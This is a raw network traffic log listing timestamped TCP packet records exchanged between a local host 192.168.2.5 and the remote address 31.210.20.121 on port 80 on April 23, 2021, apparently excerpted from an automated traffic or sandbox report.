Apr 23, 2021 11:07:48.876802921 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876807928 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.876808882 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876827002 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876832962 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.876852036 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876857996 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.876877069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876885891 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.876905918 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876912117 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.876934052 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876940966 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.876965046 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876965046 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.876986027 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.876991987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877011061 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877017021 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877036095 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877043009 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877062082 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877067089 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877089024 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877094984 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877115011 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877121925 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877142906 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877146959 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877171993 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877173901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877198935 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877219915 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877221107 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877223015 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877244949 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877263069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877269030 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877288103 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877295971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877317905 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877321005 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877340078 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877345085 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877365112 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877371073 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877403975 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877414942 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877439976 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877443075 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877465010 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877490044 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877490997 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877513885 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877522945 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877542019 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877562046 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877568007 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877588987 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877593994 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877613068 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877619028 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877644062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877646923 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877665043 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877667904 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877686977 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877692938 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877716064 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877717972 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877753019 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877759933 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877779007 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877801895 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877801895 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.877808094 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877824068 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.877881050 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.925858974 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.925923109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.925959110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.925970078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.925997972 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926018000 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926029921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926054955 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926078081 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926094055 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926115990 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926139116 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926162958 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926191092 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926191092 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926217079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926239967 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926251888 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926275015 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926291943 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926315069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926347017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926383018 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926386118 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926410913 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926426888 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926436901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926460981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926496029 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926515102 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926541090 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926553011 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926570892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926595926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926620007 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926650047 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926668882 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926693916 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926717043 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926733017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926754951 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926772118 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926800966 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926814079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926841021 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926858902 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926881075 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926902056 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.926929951 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926966906 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.926980019 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927031040 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927046061 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927069902 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927094936 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927120924 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927138090 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927169085 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927185059 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927207947 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927223921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927248955 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927261114 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927287102 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927320004 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927324057 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927354097 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927377939 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927393913 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927414894 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927431107 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927453995 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927470922 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927491903 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927517891 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927530050 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927556038 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927578926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927623987 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927640915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927666903 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927690983 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927721024 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927728891 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927764893 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927795887 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927820921 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927839041 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927880049 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.927896976 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927926064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.927974939 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928002119 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928016901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928044081 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928060055 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928100109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928102970 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928124905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928152084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928164959 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928178072 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928178072 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928200006 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928201914 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928222895 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928226948 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928252935 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928265095 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928277969 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928303003 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928308010 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928313017 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928327084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928353071 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928361893 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928378105 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928400040 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928402901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928426981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928431988 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928452015 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928467989 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928474903 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928474903 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928499937 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928517103 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928524017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928549051 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928553104 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928577900 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928580046 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928600073 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928613901 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928620100 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928625107 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928642035 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928662062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928662062 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928682089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928682089 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928704023 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928728104 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928739071 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928749084 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928752899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928774118 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928780079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928803921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928809881 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928822041 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928827047 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928849936 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928850889 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928873062 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928874016 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928895950 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928899050 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928926945 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928927898 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928952932 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928975105 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.928972960 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.928999901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929023027 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929032087 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929043055 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929045916 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929049015 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929069042 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929075003 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929092884 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929095984 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929120064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929130077 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929140091 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929145098 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929164886 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929167986 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929189920 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929193020 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929223061 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929224014 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929251909 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929255962 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929275990 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929295063 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929301023 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929325104 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929326057 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929349899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929373026 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929377079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929430962 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929435968 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929459095 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929467916 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929483891 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929507971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929516077 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929527044 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929532051 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929533958 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929558992 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929564953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929583073 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929600000 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929605961 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929630041 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929636002 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929642916 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929651976 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929657936 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929682970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929704905 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929707050 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929730892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929737091 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929755926 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929769993 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929778099 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929781914 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929806948 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929812908 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929828882 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.929851055 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929888964 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.929893017 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.930248976 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.930274963 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.930372953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.930485010 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.930629015 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.930754900 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.930810928 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.930934906 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.930960894 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.930979013 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931011915 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931158066 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931184053 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931252956 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931376934 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931401968 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931451082 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931602001 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931627989 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931653023 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931662083 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931674957 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931678057 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931700945 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.931704998 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931729078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.931747913 CEST	49703	80	192.168.2.5	31.210.20.121
